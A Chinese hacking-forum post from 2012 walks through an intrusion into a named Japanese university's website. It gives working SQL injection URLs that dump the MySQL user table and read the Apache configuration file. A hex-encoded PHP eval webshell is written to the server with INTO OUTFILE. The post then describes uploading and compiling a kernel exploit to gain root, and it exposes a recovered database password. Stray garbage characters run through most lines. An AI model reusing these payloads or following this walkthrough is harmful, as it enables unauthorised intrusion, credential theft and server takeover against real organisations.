找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2551|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
0 i" M6 `9 i- \4 C; y
/ _% H# {, c. |$ K; z* Nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-12 q* `8 E9 O; s) p+ r
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
( W: S2 j7 O0 r' f( C- n
3 }& N' ]' r4 O. ehttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user8 [: [6 ?# f- c
$ f, j5 \7 i, D

/ s- l: _! A) ^5 T" D% a0 ^. f* Z9 N
//@@datadir为数据库文件路径 # q6 S7 @- G& Q1 C! ?% Z

9 q5 h+ C$ Q/ t
9 C9 P7 j9 B; T8 O* R7 ~  R( k//load_file读取网站容器apache的配置文件 : P4 H5 A( P. F- L# o3 C1 ^/ N
9 }! R8 j; A0 V- K* i; g
' X" I! i" ?8 B' x! _/ I
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ; m! k  m. Z+ E* O: k; t
复制代码
, {/ U8 r2 H1 @3 u9 d  ?$ i  c6 K% t# O
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
% o- k" q/ Q$ y* l1 e0 A  q' h- I- J1 A6 O, ~: L4 T5 S! O7 m' ~
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
+ u: @( B9 M; V& ~(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html): Q  E( d8 Y$ j2 a' I# x5 D7 J
* B2 V1 @6 d2 z1 E7 o  `) b
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
5 w" i& s/ I5 v6 @/ m3 N8 O如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html5 f8 |/ a6 `- g4 E/ e
) i+ _4 l2 P7 ]7 h, k8 D6 f
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/' ], {: z/ l5 N  y. C4 n& [
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。1 M% b4 M. e  ~: h0 u
直接写一句话:5 o9 b* ], E6 V& Z; Z

, i/ s3 p. N7 B  V1 Qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#3 \7 Q# o; b( E! o* Q) i
, g, N( ?- j8 o

' t" k0 ?3 A- X9 y( {0 T6 x" _$ c
//最后的#是为了闭合前面的语句 % v) e% E1 k1 t: |2 ~
- o8 }6 C! h) w2 q- E, L3 Z8 S
5 e/ b" n/ ?6 F# R" E& A
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
+ D2 F+ L- N# Z1 k) J0 I4 T0 ` . {7 a; |; ?+ B4 }4 ~1 V9 s

  _2 P1 s7 d1 N- y$ @) C0 f" R为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ + k2 X; J$ L- l8 j

4 O# {/ F: ?* R" X5 d4 l/ e7 o* F4 p" Z2 m( ~1 a
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 % ]: m/ K% d1 R5 |% A0 _1 k
" N9 i- k' u( [1 P$ f) ~
8 p( R( Y# T& t6 q  R- Q! B8 V
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
2 J" u9 G0 p# n//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
. b/ ?6 \! w* U# `1 [; N" s复制代码, ]0 `$ W# H9 f4 o6 Z
4 I" u3 b4 d0 p, [$ U) O/ s
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有  q8 L1 j# @2 J$ K7 |
通过上述注入语句,我们就得到了一句话木马:6 g; P8 M0 K! }4 ?9 g! x; t, O8 Z

6 K, |/ B3 b9 r4 V
0 V% L; i8 O6 J" J% ]9 k
+ u2 m# @, K8 s; q( h6 i5 w# R 6 u' R" R' w3 r! V

& I% M0 f* S1 nhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
: e8 l% Q( s! i5 r/ @; @  ]复制代码& R6 b- |& t) d& G5 @& y$ Y: p

% t6 z5 w9 U' ?& |/ E1 i" ^5 ^用菜刀连接,密码是cmd,如图所示:
/ a9 d4 h, Q8 L2 h( _然后在命令提示行里看了一下,现在的权限是:1 j" t1 y' r# S% X4 T: }+ B' k( L

) G, ?$ E9 Z) p之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
& W  v! z- R$ A" L3 m好在赋权给这个文件夹不需要root,直接执行赋权语句:+ {% b  g5 n; q- `0 {
6 s" W  G: M4 p8 |9 r- o

# Z: w, U0 k' h5 ^6 I* e
. B/ s: g' z& F , j% F1 A/ c/ t( S) W$ M5 s$ s
- k- R- k; U9 {* R( i
chmod +x /tmp/
" y6 {* h. b$ O4 A6 S& D- K复制代码
$ o2 Q! C5 |) g  S5 g1 d) Z9 A! U  V- I, I6 R
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
4 U( W: j  @" {8 f然后就查了一下内核版本:
1 z+ z( Y6 z, ^' m6 j! O
$ _+ J" o! o% t
; o" a; U* Z# M, z; |1 m# i2 L2 s- J
# T$ i! \& l4 y3 w" _/ X: j7 ~1 L
* o& U8 G7 ]& F% S! P
uname-a ! P2 p+ Q) t' I, J- r% a* ^
1 r1 ~& D- |' C8 _$ L# t' l  }

/ p6 R/ w2 s( Q5 O* A0 X//其实lsb_release -a 0 A; M0 x, U3 X' v* X( j3 N! {% |
复制代码; U" z; B" q# \) ^) n

1 J  B5 \5 `; N# `& J! ]+ G如图所示:+ d3 q5 E9 J$ \, u/ A/ y

* \9 I3 ^( A( ?' N: n内核版本:linux mainz1 2.6.28-194.e155 H; {( U7 ?2 ?/ |* N
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
1 j5 t' d0 @% P# x5 g3 _, e/ w查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
2 V0 W& i, ?$ [6 z8 i, M% V
* ?2 O+ l( N2 G然后给予执行权限
* p% z- w# J* ~( ]一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样; ^+ B! a/ y% n

! l, w/ ]5 c5 g. c# h 0 S. i" I6 G" e8 T! c5 ?
6 J5 I+ G$ {. I, C' |- \0 w1 Z

2 t. L8 I+ l3 t0 P, s6 }. \( c4 m& [- K
( J3 h; x( u+ d( G0 Dchmod +x /tmp/2.6.18-194
: v$ t9 p# c. Z复制代码 然后直接执行!~
/ x7 w! n" H2 g1 F) P5 r  p8 t% k9 g6 K" x. {6 q8 z
总结:
' B% ?# l$ T& {! o+ r" F4 H这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了# l/ f7 L" ]7 D, H6 {' ~
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
) {' H- L: t& ~* G+ B! `
" N7 _; D4 \' q/ s( e! m2 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表